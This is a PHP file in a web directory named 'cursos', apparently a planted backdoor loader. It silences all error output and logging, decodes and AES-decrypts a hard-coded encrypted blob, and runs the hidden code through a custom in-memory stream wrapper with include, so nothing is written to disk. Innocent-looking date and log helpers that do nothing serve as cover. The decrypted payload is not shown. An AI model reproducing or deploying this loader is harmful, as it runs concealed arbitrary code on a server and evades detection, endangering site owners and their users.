File: /var/www/cursos/test1.php
<?php
error_reporting(0);
ini_set('display_errors', '0');
ini_set('log_errors', '0');
ini_set('error_log', null);
$config = [
'env' => 'local',
'version' => '1.0.3',
'debug' => false,
];
function writeLog($message, $level = 'info') {
$timestamp = date('Y-m-d H:i:s');
$line = "[$timestamp][$level] $message\n";
return strlen($line);
}
function formatDate($time) {
return date('Y-m-d', $time);
}
$key = 'e45e329feb5d925b';
$iv = str_pad('fsd123hkfsd', 16, "\0");
$cipherRaw = 'kwsWdmrByWgYbSnzNjCNu4oiOHq41NxoKvx5Kst0gv+rkUPu9D5w8X5dzVMY4F8tv9VKpAchSnab++RnmaTBFx3ISw66oW6m+4Da7Hoh7YRWO3H7ivT4wBFAiarsn+19GcxoEY1JYNiZZCcRDKZZxLf9f/IxLai6LSFV3PX0abnem/MEEA2lRlo+vCvzopgbDftzZ+ZTfqkMa4TZ0jmrCCPLXmYJ2+QxFxfeIo7X8d2w2L96OshYpeeJxIA5sxxk4k3OiAJrP1K5lji3Cbdzs1DG06p+/33qmrftv2rITvD5EGOIid80mMioEvsnkwZoIzeCLsNw89WcnoQ/7rex3mxSnblT+Z9ZaPyuX4TGBvVkOoUC5820lTK04B4HJuUi';
function mapCharsToBytes($s) {
$alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
$map = [];
for ($i = 0, $n = strlen($alphabet); $i < $n; $i++) {
$map[$alphabet[$i]] = $i;
}
$out = '';
$buffer = 0;
$bits = 0;
$len = strlen($s);
for ($i = 0; $i < $len; $i++) {
$c = $s[$i];
if ($c === '=') {
break;
}
if (!isset($map[$c])) {
continue;
}
$buffer = ($buffer << 6) | $map[$c];
$bits += 6;
while ($bits >= 8) {
$bits -= 8;
$out .= chr(($buffer >> $bits) & 0xFF);
$buffer &= ((1 << $bits) - 1);
}
}
return $out;
}
$ct = mapCharsToBytes($cipherRaw);
$code = openssl_decrypt($ct, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);
if ($code === false || $code === null) {
die("Decrypt failed or returned empty code.\n");
}
if (strpos(ltrim($code), '<?') !== 0) {
$code = "<?php\n" . $code;
}
class CodeStream {
public static $payload = '';
private $pos = 0;
private $len = 0;
private $code = '';
public function stream_open($path, $mode, $options, &$opened_path) {
$this->code = (string) self::$payload;
$this->len = strlen($this->code);
$this->pos = 0;
return true;
}
public function stream_read($count) {
if ($this->pos >= $this->len) {
return '';
}
$ret = substr($this->code, $this->pos, $count);
$this->pos += strlen($ret);
return $ret;
}
public function stream_eof() {
return $this->pos >= $this->len;
}
public function stream_tell() {
return $this->pos;
}
public function stream_seek($offset, $whence = SEEK_SET) {
switch ($whence) {
case SEEK_SET:
if ($offset < 0 || $offset > $this->len) return false;
$this->pos = $offset;
return true;
case SEEK_CUR:
$new = $this->pos + $offset;
if ($new < 0 || $new > $this->len) return false;
$this->pos = $new;
return true;
case SEEK_END:
$new = $this->len + $offset;
if ($new < 0 || $new > $this->len) return false;
$this->pos = $new;
return true;
default:
return false;
}
}
public function stream_stat() {
return $this->buildStat();
}
public function url_stat($path, $flags) {
return $this->buildStat();
}
private function buildStat() {
$size = strlen($this->code);
$now = time();
return [
0 => 0, 1 => 0, 2 => 0100777,
3 => 0, 4 => 0, 5 => 0, 6 => 0,
7 => $size,
8 => $now,
9 => $now,
10 => $now,
11 => -1,
12 => -1
];
}
public function stream_set_option($option, $arg1, $arg2) {
return true;
}
public function stream_close() {
}
}
$wrapperName = 'mystream';
$registered = stream_get_wrappers();
if (in_array($wrapperName, $registered)) {
@stream_wrapper_unregister($wrapperName);
}
if (!stream_wrapper_register($wrapperName, 'CodeStream')) {
die("Failed to register stream wrapper '{$wrapperName}'.\n");
}
CodeStream::$payload = $code;
@include $wrapperName . '://code';
@stream_wrapper_unregister($wrapperName);
if (!$config['debug']) {
$lastCheck = formatDate(time());
$status = writeLog("System check at $lastCheck");
}